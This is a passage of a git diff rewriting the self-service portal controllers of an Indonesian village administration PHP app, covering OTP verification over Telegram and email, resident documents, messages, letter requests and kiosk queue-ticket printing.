Silahkan menggunakan akun lainnya', + ]); + redirect('layanan-mandiri/daftar/verifikasi/telegram/#langkah-2'); + } + } + + /** + * Langkah 3 Verifikasi Telegram + */ + public function verifikasi_telegram() + { + $post = $this->input->post(); + $otp = $post['token_telegram']; + $user = $this->session->is_verifikasi['id']; + $nama = $this->session->is_verifikasi['nama']; + // TODO: OpenKab - Perlu disesuaikan ulang setelah semua modul selesai + $telegramID = $this->db->where('id', $user)->get('tweb_penduduk')->row()->telegram; + + if ($this->otp_library->driver('telegram')->verifikasi_otp($otp, $user)) { + $this->session->set_flashdata('daftar_notif_telegram', [ + 'status' => 1, + 'pesan' => 'Selamat, akun telegram anda berhasil terverifikasi.', + ]); + + try { + $this->otp_library->driver('telegram')->verifikasi_berhasil($telegramID, $nama); + } catch (\Exception $e) { + log_message('error', $e); + } + + redirect('layanan-mandiri/daftar/verifikasi/telegram/#langkah-4'); + } + + $this->session->set_flashdata('daftar_notif_telegram', [ + 'status' => -1, + 'pesan' => 'Tidak berhasil memverifikasi, Token tidak sesuai atau waktu Anda habis, silahkan mencoba kembali.', + ]); + + redirect('layanan-mandiri/daftar/verifikasi/telegram/#langkah-2'); + } + + /** + * Verifikasi Email + */ + public function email() + { + $data = [ + 'header' => $this->header, + 'latar_login_mandiri' => $this->theme_model->latar_login_mandiri(), + 'tgl_verifikasi_telegram' => $this->otp_library->driver('telegram')->cek_verifikasi_otp($this->session->is_verifikasi['id']), + 'tgl_verifikasi_email' => $this->otp_library->driver('email')->cek_verifikasi_otp($this->session->is_verifikasi['id']), + 'form_kirim_email' => site_url('layanan-mandiri/daftar/verifikasi/email/kirim-email'), + 'form_kirim_otp_email' => site_url('layanan-mandiri/daftar/verifikasi/email/kirim-otp'), + ]; + + if ($data['tgl_verifikasi_telegram']) { + $this->session->set_flashdata('sudah-diverifikasi', '#langkah4'); + } + + if ($data['tgl_verifikasi_email']) { + $this->session->set_flashdata('sudah-diverifikasi-email', '#langkah4'); + } + + $this->session->set_flashdata('tab-aktif', [ + 'status' => 1, + ]); + + $this->load->view(MANDIRI . '/masuk', $data); + } + + /** + * Langkah 2 Verifikasi Email + */ + public function kirim_otp_email() + { + $post = $this->input->post(); + $email = $post['alamat_email']; + $token = hash('sha256', $raw_token = mt_rand(100000, 999999)); + $id_pend = $this->session->is_verifikasi['id']; + + $this->db->trans_begin(); + + if ($this->otp_library->driver('email')->cek_akun_terdaftar(['email' => $email, 'id' => $id_pend])) { + try { + // TODO: OpenKab - Perlu disesuaikan ulang setelah semua modul selesai + $this->db->where('id', $id_pend)->update('tweb_penduduk', [ + 'email' => $email, + 'email_token' => $token, + 'email_tgl_kadaluarsa' => date('Y-m-d H:i:s', strtotime(date('Y-m-d H:i:s') . ' +5 minutes')), + ]); + + $this->otp_library->driver('email')->kirim_otp($email, $raw_token); + + $this->db->trans_commit(); + } catch (\Exception $e) { + log_message('error', $e); + + $this->session->set_flashdata('daftar_notif_telegram', [ + 'status' => -1, + 'pesan' => 'Tidak berhasil mengirim OTP, silahkan mencoba kembali.', + ]); + + $this->db->trans_rollback(); + + redirect('layanan-mandiri/daftar/verifikasi/email/#langkah-2'); + } + + $this->session->set_flashdata('daftar_notif_telegram', [ + 'status' => 1, + 'pesan' => 'OTP email anda berhasil terkirim, silahkan cek email anda!', + ]); + + $this->session->set_flashdata('kirim-otp-email', '#langkah3'); + + redirect('layanan-mandiri/daftar/verifikasi/email/#langkah-3'); + } else { + $this->session->set_flashdata('daftar_notif_telegram', [ + 'status' => -1, + 'pesan' => 'Akun Email yang Anda Masukkan tidak valid,
Silahkan menggunakan akun lainnya', + ]); + redirect('layanan-mandiri/daftar/verifikasi/email/#langkah-2'); + } + } + + /** + * Langkah 3 Verifikasi Email + */ + public function verifikasi_email() + { + $post = $this->input->post(); + $otp = $post['token_email']; + $user = $this->session->is_verifikasi['id']; + $nama = $this->session->is_verifikasi['nama']; + // TODO: OpenKab - Perlu disesuaikan ulang setelah semua modul selesai + $email = $this->db->where('id', $user)->get('tweb_penduduk')->row()->email; + + if ($this->otp_library->driver('email')->verifikasi_otp($otp, $user)) { + $this->session->set_flashdata('daftar_notif_telegram', [ + 'status' => 1, + 'pesan' => 'Selamat, alamat email anda berhasil terverifikasi.', + ]); + + try { + $this->otp_library->driver('email')->verifikasi_berhasil($email, $nama); + } catch (\Exception $e) { + log_message('error', $e); + } + + redirect('layanan-mandiri/daftar/verifikasi/email/#langkah-4'); + } + + $this->session->set_flashdata('daftar_notif_telegram', [ + 'status' => -1, + 'pesan' => 'Tidak berhasil memverifikasi, Token tidak sesuai atau waktu Anda habis, silahkan mencoba kembali.', + ]); + + redirect('layanan-mandiri/daftar/verifikasi/email/#langkah-2'); + } +} diff --git a/donjo-app/controllers/fmandiri/Dokumen.php b/donjo-app/controllers/fmandiri/Dokumen.php index 6d1b1e063..a0f43a2c8 100644 --- a/donjo-app/controllers/fmandiri/Dokumen.php +++ b/donjo-app/controllers/fmandiri/Dokumen.php @@ -1,545 +1,120 @@ -load->model(['penduduk_model', 'web_dokumen_model', 'keluarga_model', 'referensi_model']); + $this->controller = 'layanan-mandiri/dokumen'; + } + + public function index() + { + $this->render('dokumen/index', [ + 'dokumen' => $this->penduduk_model->list_dokumen($this->is_login->id_pend), + 'jenis_syarat_surat' => $this->referensi_model->list_by_id('ref_syarat_surat', 'ref_syarat_id'), + ]); + } + + public function form($id = '') + { + if ($this->is_login->kk_level == '1') { //Jika Kepala Keluarga + $data['kk'] = $this->keluarga_model->list_anggota($this->is_login->id_kk); + } + + if ($id) { + $data['dokumen'] = $this->web_dokumen_model->get_dokumen($id, $this->is_login->id_pend) ?? show_404(); + $data['anggota'] = array_column($this->web_dokumen_model->get_dokumen_di_anggota_lain($id), 'id_pend'); + $data['aksi'] = 'Ubah'; + $data['form_action'] = site_url("{$this->controller}/ubah/{$id}"); + } else { + $data['dokumen'] = null; + $data['anggota'] = null; + $data['aksi'] = 'Tambah'; + $data['form_action'] = site_url("{$this->controller}/tambah"); + } + + $data['jenis_syarat_surat'] = $this->referensi_model->list_by_id('ref_syarat_surat', 'ref_syarat_id'); + + $this->render('dokumen/form', $data); + } + + public function tambah() + { + if ($this->web_dokumen_model->insert($this->is_login->id_pend, true)) { + redirect_with('success', 'Berhasil tambah dokumen'); + } else { + redirect_with('error', 'Gagal tambah dokumen -> ' . $this->session->error_msg); + } + } + + public function ubah($id = '') + { + $this->web_dokumen_model->get_dokumen($id) ?? show_404(); + + if ($this->web_dokumen_model->update($id, $this->is_login->id_pend, true)) { + redirect_with('success', 'Berhasil ubah dokumen'); + } else { + redirect_with('error', 'Gagal ubah dokumen -> ' . $this->session->error_msg); + } + } + + public function hapus($id = '') + { + $this->web_dokumen_model->get_dokumen($id) ?? show_404(); + + if ($this->web_dokumen_model->delete($id)) { + redirect_with('success', 'Berhasil hapus dokumen'); + } else { + redirect_with('error', 'Gagal hapus dokumen'); + } + } + + public function unduh($id = '') + { + // Ambil nama berkas dari database + if ($berkas = $this->web_dokumen_model->get_nama_berkas($id, $this->is_login->id_pend)) { + ambilBerkas($berkas, null, null, LOKASI_DOKUMEN); + } else { + redirect_with('error', 'Gagal ubah dokumen'); + } + } +} diff --git a/donjo-app/controllers/fmandiri/Kehadiran_perangkat.php b/donjo-app/controllers/fmandiri/Kehadiran_perangkat.php index 8897e0433..20c16b7a7 100644 --- a/donjo-app/controllers/fmandiri/Kehadiran_perangkat.php +++ b/donjo-app/controllers/fmandiri/Kehadiran_perangkat.php @@ -1,641 +1,82 @@ -daftar() + ->where(static function ($query) { + $query->where('tanggal', DB::raw('curdate()')) + ->orWhereNull('tanggal'); + }) + ->orderBy('urut') + ->get(); + $perangkat = $kehadiran->each(function ($item) { + if ($item->id_penduduk != $this->session->is_login->id_pend) { + return $item->id_penduduk = 0; + } + + return $item; + })->values()->all(); + + $this->render('kehadiran', compact('perangkat')); + } + + public function lapor($id) + { + $data = [ + 'waktu' => date('Y-m-d H:i:s'), + 'status' => 1, + 'id_penduduk' => $this->session->is_login->id_pend, + 'id_pamong' => $id, + ]; + + if (KehadiranPengaduan::create($data)) { + redirect('layanan-mandiri/kehadiran'); + } + + redirect('layanan-mandiri/kehadiran'); + } +} diff --git a/donjo-app/controllers/fmandiri/Lapak.php b/donjo-app/controllers/fmandiri/Lapak.php index fae5bdf59..797f10d26 100644 --- a/donjo-app/controllers/fmandiri/Lapak.php +++ b/donjo-app/controllers/fmandiri/Lapak.php @@ -1,529 +1,76 @@ -load->model('lapak_model'); + } + + public function index($p = 1) + { + $data['id_kategori'] = $this->input->get('id_kategori', true); + $data['keyword'] = $this->input->get('keyword', true); + + // TODO : Sederhanakan bagian panging dengan suffix + $data['paging'] = $this->lapak_model->paging_produk($p, $data['keyword'], $data['id_kategori']); + $data['paging_page'] = 'layanan-mandiri/lapak'; + $data['paging_range'] = 3; + $data['start_paging'] = max($data['paging']->start_link, $p - $data['paging_range']); + $data['end_paging'] = min($data['paging']->end_link, $p + $data['paging_range']); + $data['pages'] = range($data['start_paging'], $data['end_paging']); + + if ($data['keyword']) { + $data['produk'] = $this->lapak_model->get_produk($data['keyword'], 1); + } else { + $data['produk'] = $this->lapak_model->get_produk('', 1); + } + + if ($data['id_kategori'] != '') { + $data['produk'] = $data['produk']->where('id_produk_kategori', $data['id_kategori']); + } + + $data['produk'] = $data['produk']->limit($data['paging']->per_page, $data['keyword'] ? 0 : $data['paging']->offset)->get()->result(); + $data['kategori'] = $this->lapak_model->get_kategori()->get()->result(); + + $this->render('lapak', $data); + } +} diff --git a/donjo-app/controllers/fmandiri/Masuk.php b/donjo-app/controllers/fmandiri/Masuk.php index 901ea122e..f714a2dd2 100644 --- a/donjo-app/controllers/fmandiri/Masuk.php +++ b/donjo-app/controllers/fmandiri/Masuk.php @@ -1,529 +1,111 @@ -session->login_ektp = false; + $this->session->daftar = false; + $this->session->daftar_verifikasi = false; + $this->load->model(['mandiri_model', 'theme_model']); + if ($this->setting->layanan_mandiri == 0) { + show_404(); + } + } + + public function index() + { + $mac_address = $this->input->get('mac_address', true); + $token = $this->input->get('token_layanan', true); + if (($mac_address && $token == $this->setting->layanan_opendesa_token) || $this->session->mandiri == 1) { + $this->session->mac_address = $mac_address; + redirect('layanan-mandiri/beranda'); + } + + //Initialize Session ------------ + $this->session->unset_userdata('balik_ke'); + if (! isset($this->session->mandiri)) { + // Belum ada session variable + $this->session->mandiri = 0; + $this->session->mandiri_try = 4; + $this->session->mandiri_wait = 0; + $this->session->login_ektp = false; + $this->session->daftar = false; + $this->session->daftar_verifikasi = false; + } + + $data = [ + 'header' => $this->header, + 'latar_login_mandiri' => $this->theme_model->latar_login_mandiri(), + 'cek_anjungan' => $this->cek_anjungan, + 'form_action' => site_url('layanan-mandiri/cek'), + ]; + + $this->load->view(MANDIRI . '/masuk', $data); + } + + public function cek() + { + $this->mandiri_model->siteman(); + redirect('layanan-mandiri/beranda'); + } + + public function lupa_pin() + { + $data = [ + 'header' => $this->header, + 'latar_login_mandiri' => $this->theme_model->latar_login_mandiri(), + 'cek_anjungan' => $this->anjungan_model->cek_anjungan(), + 'form_action' => site_url('layanan-mandiri/cek-pin'), + ]; + + $this->load->view(MANDIRI . '/lupa_pin', $data); + } + + public function cek_pin() + { + $nik = bilangan($this->input->post('nik')); + $this->mandiri_model->cek_verifikasi($nik); + + redirect('layanan-mandiri/lupa-pin'); + } +} diff --git a/donjo-app/controllers/fmandiri/Masuk_ektp.php b/donjo-app/controllers/fmandiri/Masuk_ektp.php index b2d1d5515..904c5d823 100644 --- a/donjo-app/controllers/fmandiri/Masuk_ektp.php +++ b/donjo-app/controllers/fmandiri/Masuk_ektp.php @@ -1,569 +1,87 @@ -session->login_ektp = true; + $this->load->model(['mandiri_model', 'theme_model']); + if ($this->setting->layanan_mandiri == 0) { + show_404(); + } + } + + public function index() + { + $mac_address = $this->input->get('mac_address', true); + $token = $this->input->get('token_layanan', true); + if (($mac_address && $token == $this->setting->layanan_opendesa_token) || $this->session->mandiri == 1) { + $this->session->mac_address = $mac_address; + redirect('layanan-mandiri/beranda'); + } + + //Initialize Session ------------ + $this->session->unset_userdata('balik_ke'); + if (! isset($this->session->mandiri)) { + // Belum ada session variable + $this->session->mandiri = 0; + $this->session->mandiri_try = 4; + $this->session->mandiri_wait = 0; + $this->session->login_ektp = true; + } + + $data = [ + 'header' => $this->header, + 'latar_login_mandiri' => $this->theme_model->latar_login_mandiri(), + 'cek_anjungan' => $this->cek_anjungan, + 'form_action' => site_url('layanan-mandiri/cek-ektp'), + ]; + + $this->load->view(MANDIRI . '/masuk', $data); + } + + public function cek_ektp() + { + $this->mandiri_model->siteman_ektp(); + redirect('layanan-mandiri/beranda'); + } +} diff --git a/donjo-app/controllers/fmandiri/Pesan.php b/donjo-app/controllers/fmandiri/Pesan.php index 53bd2d048..eef465e95 100644 --- a/donjo-app/controllers/fmandiri/Pesan.php +++ b/donjo-app/controllers/fmandiri/Pesan.php @@ -1,529 +1,122 @@ -load->model(['mailbox_model', 'permohonan_surat_model']); + } + + public function index($kat = 1) + { + $data = [ + 'kat' => $kat, + 'judul' => ($kat == 1) ? 'Keluar' : 'Masuk', + 'pesan' => $this->mailbox_model->get_all_pesan($this->is_login->nik, $kat), + ]; + + $this->render('pesan', $data); + } + + // TODO: Pisahkan mailbox dari komentar + // TODO: Ganti nik jadi id_pend + public function kirim($kat = 2) + { + $this->load->library('Telegram/telegram'); + + $data = $this->input->post(); + $post['email'] = $this->is_login->nik; // kolom email diisi nik untuk pesan + $post['owner'] = $this->is_login->nama; + $post['subjek'] = $data['subjek']; + $post['komentar'] = $data['pesan']; + $post['tipe'] = 1; + $post['status'] = 2; + $this->mailbox_model->insert($post); + + if (! empty($this->setting->telegram_token) && cek_koneksi_internet()) { + try { + $this->telegram->sendMessage([ + 'text' => sprintf('Warga RT. %s atas nama %s telah mengirim pesan melalui Layanan Mandiri pada tanggal %s', $this->is_login->rt, $this->is_login->nama, tgl_indo2(date('Y-m-d H:i:s'))), + 'parse_mode' => 'Markdown', + 'chat_id' => $this->setting->telegram_user_id, + ]); + } catch (Exception $e) { + log_message('error', $e->getMessage()); + } + } + + if ($kat == 1) { + redirect('layanan-mandiri/pesan-keluar'); + } + + redirect('layanan-mandiri/pesan-masuk'); + } + + public function baca($kat = 2, $id = '') + { + $nik = $this->is_login->nik; + if ($kat == 2) { + $this->mailbox_model->ubah_status_pesan($nik, $id, 1); + } + + $pesan = $this->mailbox_model->get_pesan($nik, $id) ?? show_404(); + $data = [ + 'kat' => $kat, + 'owner' => ($kat == 2) ? 'Penerima' : 'Pengirim', + 'tujuan' => ($kat == 2) ? 'pesan-masuk' : 'pesan-keluar', + 'pesan' => $pesan, + 'permohonan' => $this->permohonan_surat_model->get_permohonan(['id' => $pesan['permohonan']]), + ]; + + $this->render('baca_pesan', $data); + } + + public function tulis($kat = 2) + { + $data = [ + 'tujuan' => ($kat == 2) ? 'pesan-masuk' : 'pesan-keluar', + 'kat' => $kat, + 'subjek' => $this->input->post('subjek'), + ]; + + $this->render('tulis_pesan', $data); + } +} diff --git a/donjo-app/controllers/fmandiri/Surat.php b/donjo-app/controllers/fmandiri/Surat.php index b34420079..797057283 100644 --- a/donjo-app/controllers/fmandiri/Surat.php +++ b/donjo-app/controllers/fmandiri/Surat.php @@ -1,529 +1,335 @@ -load->model(['keluar_model', 'permohonan_surat_model', 'surat_model', 'surat_master_model', 'lapor_model', 'penduduk_model']); + } + + // Kat 1 = Permohonan + // Kat 2 = Arsip + public function index($kat = 1) + { + $arsip = $this->keluar_model->list_data_perorangan($this->is_login->id_pend); + $permohonan = $this->permohonan_surat_model->list_permohonan_perorangan($this->is_login->id_pend, 1); + + $data = [ + 'kat' => $kat, + 'judul' => ($kat == 1) ? 'Permohonan Surat' : 'Arsip Surat', + 'main' => ($kat == 1) ? $permohonan : $arsip, + 'printer' => $this->print_connector(), + ]; + + $this->render('surat', $data); + } + + public function buat($id = '') + { + $id_pend = $this->is_login->id_pend; + + // Cek hanya status = 0 (belum lengkap) yg boleh di ubah + if ($id) { + $permohonan = $this->permohonan_surat_model->get_permohonan(['id' => $id, 'id_pemohon' => $id_pend, 'status' => 0]); + + if (! $permohonan) { + redirect('layanan-mandiri/surat/buat'); + } + + $form_action = site_url("layanan-mandiri/surat/form/{$permohonan['id']}"); + } else { + $form_action = site_url('layanan-mandiri/surat/form'); + } + + $data = [ + 'menu_surat_mandiri' => $this->surat_model->list_surat_mandiri(), + 'menu_dokumen_mandiri' => $this->lapor_model->get_surat_ref_all(), + 'list_dokumen' => $this->penduduk_model->list_dokumen($id_pend), + 'kk' => ($this->is_login->kk_level === '1') ? $this->keluarga_model->list_anggota($this->is_login->id_kk) : '', // Ambil data anggota KK, jika Kepala Keluarga + 'permohonan' => $permohonan, + 'form_action' => $form_action, + ]; + + $this->render('buat_surat', $data); + } + + public function cek_syarat() + { + $id_permohonan = $this->input->post('id_permohonan'); + $id_surat = $this->input->post('id_surat'); + + $syarat_permohonan = PermohonanSurat::select(['syarat'])->find($id_permohonan); + $suratMaster = FormatSurat::select(['syarat_surat'])->find($id_surat); + $syaratSurat = SyaratSurat::get(); + $dokumen = $this->penduduk_model->list_dokumen($this->is_login->id_pend); + + $data = []; + $no = $_POST['start']; + + if ($syaratSurat) { + $no = 1; + + foreach ($syaratSurat as $baris) { + if (in_array($baris->ref_syarat_id, json_decode($suratMaster->syarat_surat))) { + $row = []; + $row[] = $no++; + $row[] = $baris->ref_syarat_nama; + // Gunakan view sebagai string untuk mempermudah pembuatan pilihan + $pilihan_dokumen = $this->load->view(MANDIRI . '/pilihan_syarat', ['dokumen' => $dokumen, 'syarat_permohonan' => json_decode($syarat_permohonan, true), 'syarat_id' => $baris->ref_syarat_id, 'cek_anjungan' => $this->cek_anjungan], true); + $row[] = $pilihan_dokumen; + $data[] = $row; + } + } + } + + return json([ + 'recordsTotal' => 10, + 'recordsFiltered' => 10, + 'data' => $data, + ]); + } + + // Proses permohonan surat + public function form($id = '') + { + $id_pend = $this->is_login->id_pend; + + // Simpan data dari buat surat + $post = $this->input->post(); + $post = ($post) ?: $this->session->data_permohonan; + $this->session->data_permohonan = $post; + + // Cek hanya status = 0 (belum lengkap) yg boleh di ubah + if ($id) { + $permohonan = $this->permohonan_surat_model->get_permohonan(['id' => $id, 'id_pemohon' => $id_pend, 'status' => 0]); + + if (! $permohonan || ! $post) { + redirect('layanan-mandiri/surat/buat'); + } + + $data['permohonan'] = $permohonan; + $data['isian_form'] = json_encode($this->permohonan_surat_model->ambil_isi_form($permohonan['isian_form'])); + $data['id_surat'] = $permohonan['id_surat']; + } else { + if (! $post) { + redirect('layanan-mandiri/surat/buat'); + } + $data['permohonan'] = null; + $data['isian_form'] = null; + $data['id_surat'] = $post['id_surat']; + } + + $surat = $this->surat_model->cek_surat_mandiri($data['id_surat']); + $url = $surat['url_surat']; + + $data['url'] = $url; + $data['individu'] = $this->surat_model->get_penduduk($id_pend); + $data['anggota'] = $this->keluarga_model->list_anggota($data['individu']['id_kk']); + $this->get_data_untuk_form($url, $data); + $data['surat_url'] = rtrim($_SERVER['REQUEST_URI'], '/clear'); + $data['form_action'] = site_url("surat/cetak/{$url}"); + $data['cek_anjungan'] = $this->cek_anjungan; + $data['mandiri'] = 1; // Untuk tombol cetak/kirim surat + + if (in_array($data['surat']['jenis'], FormatSurat::TINYMCE)) { + return $this->render('permohonan_surat_tinymce', $data); + } + + return $this->render('permohonan_surat', $data); + } + + public function kirim($id = '') + { + $this->load->library('Telegram/telegram'); + + $data_permohonan = $this->session->data_permohonan; + + $post = $this->input->post(); + $data = [ + 'id_pemohon' => $post['nik'], + 'id_surat' => $post['id_surat'], + 'isian_form' => json_encode($post), + 'status' => 1, // Selalu 1 bagi penggun layanan mandiri + 'keterangan' => $data_permohonan['keterangan'], + 'no_hp_aktif' => $data_permohonan['no_hp_aktif'], + 'syarat' => json_encode($data_permohonan['syarat']), + ]; + + if ($id) { + $data['updated_at'] = date('Y-m-d H:i:s'); + $this->permohonan_surat_model->update($id, $data); + } else { + $this->permohonan_surat_model->insert($data); + + if (! empty($this->setting->telegram_token) && cek_koneksi_internet()) { + try { + // Data pesan telegram yang akan digantikan + $pesanTelegram = [ + '[nama_penduduk]' => $this->is_login->nama, + '[judul_surat]' => FormatSurat::find($post['id_surat'])->nama, + '[tanggal]' => tgl_indo2(date('Y-m-d H:i:s')), + '[melalui]' => 'Layanan Mandiri', + ]; + + $kirimPesan = setting('notifikasi_pengajuan_surat'); + $kirimPesan = str_replace(array_keys($pesanTelegram), array_values($pesanTelegram), $kirimPesan); + $this->telegram->sendMessage([ + 'text' => $kirimPesan, + 'parse_mode' => 'Markdown', + 'chat_id' => $this->setting->telegram_user_id, + ]); + } catch (Exception $e) { + log_message('error', $e->getMessage()); + } + } + } + + $this->session->unset_userdata('data_permohonan'); + + redirect('layanan-mandiri/permohonan-surat'); + } + + private function get_data_untuk_form($url, &$data) + { + // RTF + if (in_array($data['surat']['jenis'], FormatSurat::RTF)) { + $data['config'] = $data['lokasi'] = $this->header; + $data['perempuan'] = $this->surat_model->list_penduduk_perempuan(); + } + + // Panggil 1 penduduk berdasarkan datanya sendiri + $data['penduduk'] = [$data['periksa']['penduduk']]; + + $data['surat_terakhir'] = $this->surat_model->get_last_nosurat_log($url); + $data['surat'] = FormatSurat::where('url_surat', $url)->first(); + $data['input'] = $this->input->post(); + $data['input']['nomor'] = $data['surat_terakhir']['no_surat_berikutnya']; + $data['format_nomor_surat'] = $this->penomoran_surat_model->format_penomoran_surat($data); + + $data_form = $this->surat_model->get_data_form($url); + if (is_file($data_form)) { + include $data_form; + } + } + + public function proses($id = '') + { + $this->permohonan_surat_model->proses($id, 5, $this->is_login->id_pend); + + redirect('layanan-mandiri/permohonan-surat'); + } + + public function cetak_no_antrian(string $no_antrian) + { + try { + $connector = new NetworkPrintConnector($this->cek_anjungan['printer_ip'], $this->cek_anjungan['printer_port'], 5); + $printer = new Printer($connector); + + $printer->initialize(); + $printer->setJustification(Printer::JUSTIFY_CENTER); + $printer->setTextSize(2, 2); + $printer->setEmphasis(true); + $printer->text('ANJUNGAN MANDIRI'); + $printer->setEmphasis(false); + $printer->feed(1); + + $printer->setTextSize(1, 1); + $printer->text("SELAMAT DATANG \n"); + $printer->text('NOMOR ANTREAN ANDA'); + $printer->feed(); + + $printer->setTextSize(4, 4); + $printer->text(get_antrian($no_antrian)); + $printer->feed(); + + $printer->setTextSize(1, 1); + $printer->text("TERIMA KASIH \n"); + $printer->text('ANDA TELAH MENUNGGU'); + $printer->feed(); + + $printer->cut(); + } catch (Exception $e) { + log_message('error', $e->getMessage()); + + redirect($_SERVER['HTTP_REFERER']); + } finally { + $printer->close(); + } + + redirect($_SERVER['HTTP_REFERER']); + } + + protected function print_connector() + { + if (null === ($anjungan = $this->cek_anjungan)) { + return; + } + + try { + $connector = new NetworkPrintConnector($anjungan['printer_ip'], $anjungan['printer_port'], 5); + } catch (Exception $e) { + log_message('error', $e->getMessage()); + + return false; + } + + return $connector; + } + + public function cetak($id) + { + $surat = LogSurat::find($id); + + // Cek ada file + if (file_exists(FCPATH . LOKASI_ARSIP . $surat->nama_surat)) { + return ambilBerkas($surat->nama_surat, $this->controller, null, LOKASI_ARSIP, true); + } + echo 'Berkas tidak ditemukan'; + } +} diff --git a/donjo-app/controllers/fmandiri/Verifikasi.php b/donjo-app/controllers/fmandiri/Verifikasi.php index c7ff59f75..476d79f3a 100644 --- a/donjo-app/controllers/fmandiri/Verifikasi.php +++ b/donjo-app/controllers/fmandiri/Verifikasi.php @@ -1,569 +1,306 @@ -load->library('OTP/OTP_manager', null, 'otp_library'); + } + + public function index() + { + $data = [ + 'tgl_verifikasi_telegram' => $this->otp_library->driver('telegram')->cek_verifikasi_otp($this->is_login->id_pend), + 'tgl_verifikasi_email' => $this->otp_library->driver('email')->cek_verifikasi_otp($this->is_login->id_pend), + 'form_kirim_userid' => site_url('layanan-mandiri/verifikasi/telegram/kirim-userid'), + 'form_kirim_email' => site_url('layanan-mandiri/verifikasi/email/kirim-email'), + ]; + + if ($data['tgl_verifikasi_telegram']) { + $this->session->set_flashdata('sudah-diverifikasi', '#langkah-4'); + } + + if ($data['tgl_verifikasi_email']) { + $this->session->set_flashdata('sudah-diverifikasi-email', '#langkah-4'); + } + + if ($data['tgl_verifikasi_telegram'] && $data['tgl_verifikasi_email']) { + $this->session->set_flashdata('sudah-verifikasi-semua', 1); + } + + $this->session->set_flashdata('tab-aktif', [ + 'status' => 0, + ]); + + $this->render('verifikasi', $data); + } + + /** + * Verifikasi Telegram + */ + public function telegram() + { + $data = [ + 'tgl_verifikasi_telegram' => $this->otp_library->driver('telegram')->cek_verifikasi_otp($this->is_login->id_pend), + 'tgl_verifikasi_email' => $this->otp_library->driver('email')->cek_verifikasi_otp($this->is_login->id_pend), + 'form_kirim_userid' => site_url('layanan-mandiri/verifikasi/telegram/kirim-userid'), + 'form_kirim_otp' => site_url('layanan-mandiri/verifikasi/telegram/kirim-otp'), + ]; + + if ($data['tgl_verifikasi_telegram']) { + $this->session->set_flashdata('sudah-diverifikasi', '#langkah4'); + } + + if ($data['tgl_verifikasi_email']) { + $this->session->set_flashdata('sudah-diverifikasi-email', '#langkah4'); + } + + $this->session->set_flashdata('tab-aktif', [ + 'status' => 0, + ]); + + $this->render('verifikasi', $data); + } + + /** + * Langkah 2 Verifikasi Telegram + */ + public function kirim_otp_telegram() + { + $post = $this->input->post(); + $userID = $post['telegram_userID']; + $token = hash('sha256', $raw_token = mt_rand(100000, 999999)); + $id_pend = $this->session->is_login->id_pend; + + $this->db->trans_begin(); + + if ($this->otp_library->driver('telegram')->cek_akun_terdaftar(['telegram' => $userID, 'id' => $id_pend])) { + try { + // TODO: OpenKab - Perlu disesuaikan ulang setelah semua modul selesai + $this->db->where('id', $id_pend)->update('tweb_penduduk', [ + 'telegram' => $userID, + 'telegram_token' => $token, + 'telegram_tgl_kadaluarsa' => date('Y-m-d H:i:s', strtotime(date('Y-m-d H:i:s') . ' +5 minutes')), + ]); + + $this->otp_library->driver('telegram')->kirim_otp($userID, $raw_token); + + $this->db->trans_commit(); + } catch (\Exception $e) { + log_message('error', $e); + + $this->session->set_flashdata('notif_verifikasi', [ + 'status' => -1, + 'pesan' => 'Tidak berhasil mengirim OTP, silahkan mencoba kembali.', + ]); + + $this->db->trans_rollback(); + + redirect('layanan-mandiri/verifikasi/telegram/#langkah-2'); + } + + $this->session->set_flashdata('notif_verifikasi', [ + 'status' => 1, + 'pesan' => 'OTP telegram anda berhasil terkirim, silahkan cek telegram anda!', + ]); + + $this->session->set_flashdata('kirim-otp-telegram', '#langkah3'); + + redirect('layanan-mandiri/verifikasi/telegram/#langkah-3'); + } else { + $this->session->set_flashdata('notif_verifikasi', [ + 'status' => -1, + 'pesan' => 'Akun Telegram yang Anda Masukkan tidak valid, Silahkan ulangi lagi.', + ]); + redirect('layanan-mandiri/verifikasi/telegram/#langkah-2'); + } + } + + /** + * Langkah 3 Verifikasi Telegram + */ + public function verifikasi_telegram() + { + $post = $this->input->post(); + $otp = $post['token_telegram']; + $user = $this->session->is_login->id_pend; + $nama = $this->session->is_login->nama; + // TODO: OpenKab - Perlu disesuaikan ulang setelah semua modul selesai + $telegramID = $this->db->where('id', $user)->get('tweb_penduduk')->row()->telegram; + + if ($this->otp_library->driver('telegram')->verifikasi_otp($otp, $user)) { + $this->session->set_flashdata('notif_verifikasi', [ + 'status' => 1, + 'pesan' => 'Selamat, akun telegram anda berhasil terverifikasi.', + ]); + + try { + $this->otp_library->driver('telegram')->verifikasi_berhasil($telegramID, $nama); + } catch (\Exception $e) { + log_message('error', $e); + } + + redirect('layanan-mandiri/verifikasi/telegram/#langkah-4'); + } + + $this->session->set_flashdata('notif_verifikasi', [ + 'status' => -1, + 'pesan' => 'Tidak berhasil memverifikasi, Token tidak sesuai atau waktu Anda habis, silahkan mencoba kembali.', + ]); + + redirect('layanan-mandiri/verifikasi/telegram/#langkah-2'); + } + + /** + * Verifikasi Email + */ + public function email() + { + $data = [ + 'tgl_verifikasi_telegram' => $this->otp_library->driver('telegram')->cek_verifikasi_otp($this->is_login->id_pend), + 'tgl_verifikasi_email' => $this->otp_library->driver('email')->cek_verifikasi_otp($this->is_login->id_pend), + 'form_kirim_email' => site_url('layanan-mandiri/verifikasi/email/kirim-email'), + 'form_kirim_otp_email' => site_url('layanan-mandiri/verifikasi/email/kirim-otp'), + ]; + + if ($data['tgl_verifikasi_telegram']) { + $this->session->set_flashdata('sudah-diverifikasi', '#langkah4'); + } + + if ($data['tgl_verifikasi_email']) { + $this->session->set_flashdata('sudah-diverifikasi-email', '#langkah4'); + } + + $this->session->set_flashdata('tab-aktif', [ + 'status' => 1, + ]); + $this->render('verifikasi', $data); + } + + /** + * Langkah 2 Verifikasi Email + */ + public function kirim_otp_email() + { + $post = $this->input->post(); + $email = $post['alamat_email']; + $token = hash('sha256', $raw_token = mt_rand(100000, 999999)); + $id_pend = $this->session->is_login->id_pend; + + $this->db->trans_begin(); + + if ($this->otp_library->driver('email')->cek_akun_terdaftar(['email' => $email, 'id' => $id_pend])) { + try { + // TODO: OpenKab - Perlu disesuaikan ulang setelah semua modul selesai + $this->db->where('id', $id_pend)->update('tweb_penduduk', [ + 'email' => $email, + 'email_token' => $token, + 'email_tgl_kadaluarsa' => date('Y-m-d H:i:s', strtotime(date('Y-m-d H:i:s') . ' +5 minutes')), + ]); + + $this->otp_library->driver('email')->kirim_otp($email, $raw_token); + + $this->db->trans_commit(); + } catch (\Exception $e) { + log_message('error', $e); + + $this->session->set_flashdata('notif_verifikasi', [ + 'status' => -1, + 'pesan' => 'Tidak 